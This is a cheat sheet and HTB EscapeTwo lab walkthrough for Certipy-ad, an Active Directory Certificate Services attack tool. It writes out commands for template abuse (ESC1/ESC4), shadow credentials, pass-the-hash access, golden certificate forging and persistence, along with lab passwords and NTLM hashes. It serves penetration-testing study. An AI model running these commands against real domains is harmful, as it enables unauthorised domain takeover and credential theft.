AD ^: Active Directory

Certipy-ad

pip install certipy-ad --break-system-packages

intermediate updated 2026-08-10 Certipy · BloodHound · Evil-WinRM · OpenSSL

🔐 Certipy-AD Cheat Sheet

A comprehensive guide for Active Directory Certificate Services enumeration and exploitation using Certipy-ad

Note — certipy-ad and certipy are the same tool. certipy-ad is only the PyPI package name (the certipy name was already taken); the syntax, flags and subcommands are identical. The binary on your $PATH may be certipy or certipy-ad depending on the install (Kali apt → certipy-ad; pip install certipy-ad → usually certipy). Drop the -ad in any command below if that is what your box exposes; run which certipy certipy-ad to check.


📋 Table of Contents


🎯 Overview

Certipy-ad is an offensive security tool designed to enumerate and exploit Active Directory Certificate Services (AD CS) misconfigurations. It supports detection and exploitation of ESC1-ESC16 vulnerabilities, making it essential for penetration testing AD environments.

🔑 Key Capabilities

  • 🔍 Enumeration: Identify vulnerable certificate templates and CAs
  • 🎫 Certificate Requests: Request certificates with custom attributes
  • 🔓 Authentication: Use certificates for Kerberos authentication and NT hash retrieval
  • 🛠️ Template Manipulation: Modify certificate templates to create exploitation paths
  • 👤 Shadow Credentials: Add Key Credential Links for account takeover
  • 🏆 Golden Certificates: Forge certificates using compromised CA keys

📦 Installation

# Install via pip
pip install certipy-ad --break-system-packages

# Install via apt (Kali Linux)
sudo apt install certipy-ad

# Verify installation
certipy-ad -h

💡 Common Usage Patterns

🔍 Enumeration Workflow

# Basic enumeration
certipy-ad find -u 'user@domain.local' -p 'password' -dc-ip 10.10.11.51

# Enumerate vulnerable templates only
certipy-ad find -u 'user@domain.local' -p 'password' -dc-ip 10.10.11.51 -vulnerable -enabled

# Output to specific format
certipy-ad find -u 'user@domain.local' -p 'password' -dc-ip 10.10.11.51 -json -output results

# Using NTLM hash authentication
certipy-ad find -u 'user@domain.local' -hashes ':NTHASH' -dc-ip 10.10.11.51

🎫 Certificate Request Workflow

# Request certificate with UPN
certipy-ad req -u 'user@domain.local' -p 'password' -ca 'CA-Name' -template 'TemplateName' -upn 'administrator@domain.local' -dc-ip 10.10.11.51

# Request using hash authentication
certipy-ad req -u 'user@domain.local' -hashes ':NTHASH' -ca 'CA-Name' -template 'TemplateName' -upn 'target@domain.local' -dc-ip 10.10.11.51

# Retrieve previously requested certificate
certipy-ad req -u 'user@domain.local' -p 'password' -ca 'CA-Name' -retrieve 123 -dc-ip 10.10.11.51

🔓 Authentication Workflow

# Authenticate using certificate
certipy-ad auth -pfx administrator.pfx -dc-ip 10.10.11.51

# With PFX password
certipy-ad auth -pfx administrator.pfx -password 'pfxpassword' -dc-ip 10.10.11.51

# Save in kirbi format
certipy-ad auth -pfx administrator.pfx -kirbi -dc-ip 10.10.11.51

# LDAP shell access
certipy-ad auth -pfx administrator.pfx -ldap-shell -dc-ip 10.10.11.51

📖 Command Reference

🔧 Global Flags

FlagDescriptionExample
-u, -usernameUsername for authentication-u user@domain.local
-p, -passwordPassword for authentication-p 'Password123'
-hashesNTLM hash (pass-the-hash)-hashes ':NTHASH' or -hashes 'LMHASH:NTHASH'
-kUse Kerberos authentication from ccache-k
-aesAES key for Kerberos auth-aes <hex_key>
-dc-ipDomain controller IP address-dc-ip 10.10.11.51
-dc-host🆕 DC hostname — REQUIRED in Certipy v5+-dc-host dc01.domain.local
-targetTarget machine DNS/IP-target ca.domain.local
-ns🆕 Nameserver for DNS resolution (pin to DC IP to avoid rerouting)-ns 10.10.11.51
-timeoutConnection timeout in seconds-timeout 30
-debugEnable debug output-debug

🆕 ⚠️ Certipy v5 Note — Always pass -dc-host: In Certipy v5+, omitting -dc-host causes the tool to use the domain name as the DC host and attempt a secondary DNS resolution. If that resolves to an internal AD IP that isn’t routable from your VPN (Target IP: None in debug output), you’ll get [Errno 113] No route to host even when your -dc-ip is correct and /etc/hosts is properly configured. Always pair -dc-ip with -dc-host.


1️⃣ find - Enumerate AD CS

Purpose: Discover certificate templates, CAs, and misconfigurations

certipy-ad find [options]

📊 Key Flags

FlagDescription
-vulnerableShow only vulnerable templates
-enabledShow only enabled templates
-textOutput as formatted text file
-jsonOutput as JSON
-csvOutput as CSV
-stdoutOutput directly to console
-output <prefix>File prefix for output
-oidsShow Issuance Policies
-hide-adminsSuppress admin permissions
-dc-onlyOnly collect from DC (skip CA queries)

💻 Example Commands

# Find vulnerable templates
certipy-ad find -u ryan@sequel.htb -p 'WqSZAF6CysDQbGb3' -dc-ip 10.10.11.51 -dc-host dc01.sequel.htb -vulnerable -enabled -stdout

# Full enumeration with all outputs
certipy-ad find -u ca_svc@sequel.htb -hashes ':3b181b914e7a9d5508ea1e20bc2b7fce' -dc-ip 10.10.11.51 -dc-host dc01.sequel.htb -json -text -output dc01_enum

2️⃣ req - Request Certificates

Purpose: Request and retrieve certificates from AD CS

certipy-ad req [options]

📊 Key Flags

FlagDescription
-ca <name>Certificate Authority name
-template <name>Certificate template name
-upn <upn>User Principal Name for SAN
-dns <dns>DNS name for SAN
-sid <sid>Object SID for SAN
-subject <dn>Certificate subject DN
-retrieve <id>Retrieve certificate by request ID
-on-behalf-of <user>Request on behalf of another user
-pfx <file>PFX for on-behalf-of or renewal
-renewCreate renewal request
-out <file>Output PFX filename
-webUse Web Enrollment
-dcomUse DCOM Enrollment

💻 Example Commands

# Request certificate with custom UPN (ESC1)
certipy-ad req -u ca_svc@sequel.htb -hashes ':3b181b914e7a9d5508ea1e20bc2b7fce' \
  -ca sequel-DC01-CA -template DunderMifflinAuthentication \
  -upn administrator@sequel.htb \
  -dc-ip 10.10.11.51 -dc-host dc01.sequel.htb   # 🆕 dc-host required in v5

# Retrieve certificate by request ID
certipy-ad req -u user@domain.local -p 'password' -ca CA-Name -retrieve 42 \
  -dc-ip 10.10.11.51 -dc-host dc01.domain.local

# Request on behalf of another user (ESC2/ESC3)
certipy-ad req -u user@domain.local -p 'password' -ca CA-Name -template User \
  -on-behalf-of 'domain\administrator' -pfx user.pfx \
  -dc-ip 10.10.11.51 -dc-host dc01.domain.local

3️⃣ auth - Authenticate with Certificate

Purpose: Use certificates for authentication and NT hash retrieval

certipy-ad auth -pfx <cert.pfx> [options]

📊 Key Flags

FlagDescription
-pfx <file>Path to certificate (PFX/P12)
-password <pass>PFX file password
-no-saveDon’t save TGT to file
-no-hashDon’t request NT hash
-printPrint TGT in kirbi format
-kirbiSave as .kirbi instead of ccache
-username <user>Override certificate username
-domain <domain>Override certificate domain
-ldap-shellStart LDAP shell after auth

💻 Example Commands

# Authenticate and retrieve NT hash
certipy-ad auth -pfx administrator.pfx -dc-ip 10.10.11.51

# With password-protected PFX
certipy-ad auth -pfx admin.pfx -password 'pfxpass' -dc-ip 10.10.11.51

# Start LDAP shell
certipy-ad auth -pfx admin.pfx -ldap-shell -dc-ip 10.10.11.51

4️⃣ template - Manage Templates

Purpose: View and modify certificate template configurations

certipy-ad template -template <name> [options]

📊 Key Flags

FlagDescription
-template <name>Certificate template name
-save-configuration <file>Save current config to JSON
-write-configuration <file>Apply config from JSON file
-write-default-configurationApply default ESC1 config
-no-saveSkip backup before changes
-forceDon’t prompt for confirmation

💻 Example Commands

# Save template configuration
certipy-ad template -u ca_svc@sequel.htb -hashes ':HASH' -template ESC4Template \
  -save-configuration backup.json \
  -dc-ip 10.10.11.51 -dc-host dc01.sequel.htb   # 🆕

# Apply ESC1 configuration (make vulnerable)
certipy-ad template -u ca_svc@sequel.htb -hashes ':HASH' -template DunderMifflinAuthentication \
  -write-default-configuration \
  -dc-ip 10.10.11.51 -dc-host dc01.sequel.htb   # 🆕

# Restore from backup
certipy-ad template -u ca_svc@sequel.htb -hashes ':HASH' -template ESC4Template \
  -write-configuration backup.json -no-save \
  -dc-ip 10.10.11.51 -dc-host dc01.sequel.htb   # 🆕

5️⃣ shadow - Shadow Credentials

Purpose: Manipulate Key Credential Links for account takeover

certipy-ad shadow <action> [options]

📊 Actions & Flags

ActionDescription
autoAutomatically exploit (add, auth, restore)
listList all Key Credentials
addAdd new Key Credential
removeRemove specific Key Credential
clearRemove all Key Credentials
infoDisplay detailed information
FlagDescription
-account <target>Target account
-device-id <guid>Specific device ID
-out <file>Output certificate file

💻 Example Commands

# 🆕 Automatic shadow credential attack — FULL recommended syntax for v5
certipy-ad shadow auto \
  -u user@domain.local \
  -p 'password' \
  -account 'target_user' \
  -dc-ip 10.10.11.51 \
  -dc-host dc01.domain.local \   # ← REQUIRED in v5, prevents EHOSTUNREACH (113)
  -ns 10.10.11.51                # ← Pin DNS to DC to avoid internal IP rerouting

# List Key Credentials
certipy-ad shadow list -u user@domain.local -p 'password' -account 'target_user' \
  -dc-ip 10.10.11.51 -dc-host dc01.domain.local

# Add Key Credential
certipy-ad shadow add -u user@domain.local -p 'password' -account 'target_user' \
  -dc-ip 10.10.11.51 -dc-host dc01.domain.local

🆕 HTB Fluffy Lesson: shadow auto without -dc-host on Certipy v5 will print Target IP: None in debug mode and fail with [Errno 113] No route to host even with a correct -dc-ip and valid /etc/hosts. The fix is always to pass -dc-host dc01.<domain> explicitly.


6️⃣ account - Manage Accounts

Purpose: Create, read, update, delete AD accounts

certipy-ad account <action> -user <name> [options]

📊 Actions & Flags

ActionDescription
createCreate new account
readRead account properties
updateModify existing account
deleteDelete account
FlagDescription
-user <name>SAM account name
-pass <password>Set password
-dns <hostname>Set DNS hostname
-upn <upn>Set UPN
-spns <spn1,spn2>Set SPNs

💻 Example Commands

# Create machine account
certipy-ad account create -u user@domain.local -p 'password' -user BADPC$ -pass 'MachinePass123' \
  -dc-ip 10.10.11.51 -dc-host dc01.domain.local

# Update account password
certipy-ad account update -u admin@domain.local -p 'password' -user targetuser -pass 'NewPass123' \
  -dc-ip 10.10.11.51 -dc-host dc01.domain.local

7️⃣ ca - Manage Certificate Authority

Purpose: Manage CA settings and certificate requests

certipy-ad ca -ca <name> [options]

📊 Key Flags

FlagDescription
-ca <name>CA name
-list-templatesList enabled templates
-enable-template <name>Enable template on CA
-disable-template <name>Disable template on CA
-issue-request <id>Approve pending request
-deny-request <id>Deny pending request
-add-officer <user>Add certificate officer

💻 Example Commands

# List enabled templates
certipy-ad ca -u user@domain.local -p 'password' -ca CA-Name -list-templates \
  -dc-ip 10.10.11.51 -dc-host dc01.domain.local

# Approve pending request
certipy-ad ca -u user@domain.local -p 'password' -ca CA-Name -issue-request 42 \
  -dc-ip 10.10.11.51 -dc-host dc01.domain.local

8️⃣ forge - Forge Certificates

Purpose: Create golden certificates or self-signed certs

certipy-ad forge [options]

📊 Key Flags

FlagDescription
-ca-pfx <file>CA certificate/key (for golden cert)
-ca-password <pass>CA PFX password
-upn <upn>UPN for certificate
-subject <dn>Certificate subject
-template <file>Clone from template cert
-out <file>Output PFX file
-validity-period <days>Validity in days

💻 Example Commands

# Forge golden certificate
certipy-ad forge -ca-pfx ca.pfx -upn administrator@domain.local \
  -subject 'CN=Administrator,CN=Users,DC=domain,DC=local' -out admin_golden.pfx

9️⃣ relay - NTLM Relay

Purpose: Relay NTLM authentication to AD CS endpoints

certipy-ad relay -target <proto://host> [options]

📊 Key Flags

FlagDescription
-target <proto://host>Target (http:// or rpc://)
-ca <name>CA name (for RPC)
-template <name>Certificate template
-interface <ip>Listen interface
-port <port>Listen port (default: 445)
-foreverKeep relay server alive
-enum-templatesEnumerate templates via relay

🎯 ESC4 Exploitation Workflow

ESC4 occurs when an attacker has write permissions over a certificate template, allowing them to modify it to become vulnerable (typically ESC1).

📋 Prerequisites

  • ✅ Compromised account with write access to a certificate template
  • ✅ Membership in groups with template modification rights (e.g., Cert Publishers)
  • ✅ Access to Active Directory Certificate Services

🔄 Step-by-Step Exploitation

Step 1: Enumerate and Identify ESC4

certipy-ad find -u ca_svc@sequel.htb -hashes ':3b181b914e7a9d5508ea1e20bc2b7fce' \
  -dc-ip 10.10.11.51 -dc-host dc01.sequel.htb -vulnerable -stdout   # 🆕 dc-host added

# Look for output like:
# [!] Vulnerabilities
#     ESC4 : 'SEQUEL.HTB\Cert Publishers' has dangerous permissions

Step 2: Modify Template (Certipy 5.x)

certipy-ad template -u ca_svc@sequel.htb \
  -hashes ':3b181b914e7a9d5508ea1e20bc2b7fce' \
  -template DunderMifflinAuthentication \
  -write-default-configuration \
  -dc-ip 10.10.11.51 \
  -dc-host dc01.sequel.htb   # 🆕

Step 3: Request Certificate with UPN

certipy-ad req -u ca_svc@sequel.htb \
  -hashes ':3b181b914e7a9d5508ea1e20bc2b7fce' \
  -ca sequel-DC01-CA \
  -template DunderMifflinAuthentication \
  -upn administrator@sequel.htb \
  -dc-ip 10.10.11.51 \
  -dc-host dc01.sequel.htb   # 🆕

# Output: administrator.pfx

Step 4: Authenticate and Extract Hash

certipy-ad auth -pfx administrator.pfx -dc-ip 10.10.11.51
# Output: aad3b435b51404eeaad3b435b51404ee:7a8d4e04986afa8ed4060f75e5a0b3ff

Step 5: Use Hash for Access

# WinRM access
evil-winrm -i 10.10.11.51 -u administrator -H 7a8d4e04986afa8ed4060f75e5a0b3ff

# SMB access
smbclient -U administrator%aad3b435b51404eeaad3b435b51404ee:7a8d4e04986afa8ed4060f75e5a0b3ff //10.10.11.51/C$

# psexec
psexec.py -hashes :7a8d4e04986afa8ed4060f75e5a0b3ff administrator@10.10.11.51

Step 6: Restore Template (Clean Up)

certipy-ad template -u ca_svc@sequel.htb \
  -hashes ':3b181b914e7a9d5508ea1e20bc2b7fce' \
  -template DunderMifflinAuthentication \
  -write-configuration DunderMifflinAuthentication.json \
  -no-save \
  -dc-ip 10.10.11.51 \
  -dc-host dc01.sequel.htb   # 🆕

🔧 Alternative Method (Certipy 4.x - Legacy)

# Step 1: Modify template (auto-saves backup)
certipy-ad template -u ca_svc -hashes :HASH \
  -dc-ip 10.10.11.51 \
  -template DunderMifflinAuthentication \
  -target dc01.sequel.htb \
  -save-old

# Step 2: Request certificate
certipy-ad req -ca sequel-DC01-CA \
  -u ca_svc -hashes :HASH \
  -dc-ip 10.10.11.51 \
  -template DunderMifflinAuthentication \
  -target dc01.sequel.htb \
  -upn administrator@sequel.htb

# Step 3: Authenticate
certipy-ad auth -pfx administrator.pfx

# Step 4: Restore (backup auto-created)
# Check for DunderMifflinAuthentication.json in current directory

🏆 HTB EscapeTwo Context

🎯 Scenario Overview

In HTB EscapeTwo, the exploitation path involves:

  1. Initial Access: Credentials for rose → find SQL admin password → shell as sql_svc
  2. Lateral Movement: Find ryan credentials → WinRM access
  3. Privilege Escalation: ryan has WriteOwner on ca_svc account
  4. Account Takeover: Use BloodyAD to take ownership and grant permissions
  5. Shadow Credentials: Add shadow credential to ca_svc
  6. ESC4 Exploitation: ca_svc is in Cert Publishers group → modify template → escalate to Administrator

🔑 Key Commands from HTB EscapeTwo

# Ownership change (using BloodyAD)
bloodyAD -d sequel.htb --host 10.10.11.51 -u ryan -p 'WqSZAF6CysDQbGb3' set owner ca_svc ryan
bloodyAD -d sequel.htb --host 10.10.11.51 -u ryan -p 'WqSZAF6CysDQbGb3' add genericAll ca_svc ryan

# Shadow credential attack — 🆕 full v5 syntax
certipy-ad shadow auto \
  -u ryan@sequel.htb \
  -p 'WqSZAF6CysDQbGb3' \
  -account 'ca_svc' \
  -dc-ip 10.10.11.51 \
  -dc-host dc01.sequel.htb \
  -ns 10.10.11.51

# ESC4 enumeration
certipy-ad find -vulnerable -u ca_svc -hashes :3b181b914e7a9d5508ea1e20bc2b7fce \
  -dc-ip 10.10.11.51 -dc-host dc01.sequel.htb -stdout

# Template modification
certipy-ad template -u ca_svc@sequel.htb -hashes ':3b181b914e7a9d5508ea1e20bc2b7fce' \
  -template DunderMifflinAuthentication -write-default-configuration \
  -dc-ip 10.10.11.51 -dc-host dc01.sequel.htb

# Certificate request
certipy-ad req -u ca_svc@sequel.htb -hashes ':3b181b914e7a9d5508ea1e20bc2b7fce' \
  -ca sequel-DC01-CA -template DunderMifflinAuthentication \
  -upn administrator@sequel.htb \
  -dc-ip 10.10.11.51 -dc-host dc01.sequel.htb

# Authentication
certipy-ad auth -pfx administrator.pfx -dc-ip 10.10.11.51

🔓 Post-Exploitation

🎫 Using Certificates

# Pass-the-Certificate with evil-winrm
evil-winrm -i DC01 -c admin.crt -k admin.key

# Use ccache for Kerberos auth
export KRB5CCNAME=administrator.ccache
smbclient.py -k -no-pass administrator@dc01.sequel.htb

# Convert PFX to PEM for other tools
openssl pkcs12 -in admin.pfx -nocerts -out admin.key
openssl pkcs12 -in admin.pfx -clcerts -nokeys -out admin.crt

🔄 Persistence

# Renew certificate before expiration
certipy-ad req -u admin@domain.local -p 'password' -ca CA-Name -template Template \
  -renew -pfx admin.pfx -dc-ip 10.10.11.51 -dc-host dc01.domain.local

# Forge golden certificate (requires CA key)
certipy-ad forge -ca-pfx ca.pfx -upn administrator@domain.local -out golden.pfx

💡 Tips & Best Practices

⚠️ Operational Security

  • 🔒 Always backup templates before modification
  • 🧹 Clean up after testing (restore configurations)
  • 📝 Document request IDs for later retrieval
  • Note certificate validity periods for persistence planning

🎯 Enumeration Tips

  • 🔍 Start with -vulnerable -enabled for quick wins
  • 📊 Use -json output for parsing with tools like jq
  • 🎭 Check group memberships (Cert Publishers is key for ESC4)
  • 🌐 Enumerate with BloodHound for WriteOwner/GenericAll on service accounts

🚀 Common Attack Chains

WriteOwner/GenericAll → Shadow Credentials → Hash → Certificate Request
WriteDACL → Template Modification (ESC4) → Certificate → Domain Admin
ManageCA + ManageCertificates → ESC7 → Certificate → Compromise

🔧 Troubleshooting

ErrorCauseSolution
[Errno 113] No route to host🆕 Certipy v5 resolves DC to internal AD IP (Target IP: None) instead of using -dc-ipAdd -dc-host dc01.domain.local -ns <dc-ip> to every command
CERTSRV_E_TEMPLATE_DENIEDUser not authorized for templateCheck enrollment rights
Object SID mismatchStrong Certificate Mapping enabledUse -sid flag
INSUFF_ACCESS_RIGHTSNeed GenericAll/WriteOwnerCheck permissions
Connection timeoutFirewall or stale machine IP (HTB reset)Re-verify $TARGET, check VPN with ping
entryAlreadyExists (BloodyAD)🆕 Object already in group — not an errorStep already complete, move on

📚 References


Created for HTB: EscapeTwo | Last Updated: April 2026 | Certipy Version: 5.0.4+ 🆕

Sources